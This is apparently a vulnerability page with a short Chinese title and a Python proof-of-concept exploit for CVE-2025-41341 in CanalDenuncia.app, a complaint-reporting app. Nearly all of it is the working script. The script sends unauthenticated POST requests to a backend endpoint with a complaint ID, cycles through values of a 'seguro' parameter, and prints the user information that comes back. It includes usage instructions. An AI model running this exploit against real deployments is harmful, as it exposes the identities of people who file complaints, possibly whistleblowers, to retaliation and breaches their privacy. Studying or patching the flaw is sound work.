CVE-2025-41341 CanalDenuncia.app 授权缺失漏洞导致用户信息泄露

import requests import sys # CVE-2025-41341 PoC - CanalDenuncia.app Authorization Bypass # Description: Lack of authorization in /backend/api/buscarUsuarioByDenuncia.php # allows attackers to access other users' information via POST parameters def exploit(target_url, id_denuncia, seguro="1"): """ Exploit the authorization bypass vulnerability Args: target_url: Base URL of the vulnerable application id_denuncia: The complaint ID to query (integer) seguro: Security parameter (default: "1") Returns: Response from the server containing user information """ endpoint = f"{target_url}/backend/api/buscarUsuarioByDenuncia.php" # Construct POST payload with required parameters payload = { 'id_denuncia': id_denuncia, 'seguro': seguro } # Send POST request without authentication headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending request to: {endpoint}") print(f"[*] Payload: id_denuncia={id_denuncia}, seguro={seguro}") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <id_denuncia>") print(f"Example: python {sys.argv[0]} https://vulnerable-site.com 123") sys.exit(1) target_url = sys.argv[1].rstrip('/') id_denuncia = sys.argv[2] print("=" * 60) print("CVE-2025-41341 PoC - CanalDenuncia.app Authorization Bypass") print("=" * 60) # Try with different seguro values for seguro_value in ['1', 'true', 'yes', '0']: print(f"\n[*] Testing with seguro={seguro_value}") exploit(target_url, id_denuncia, seguro_value) if __name__ == "__main__": main()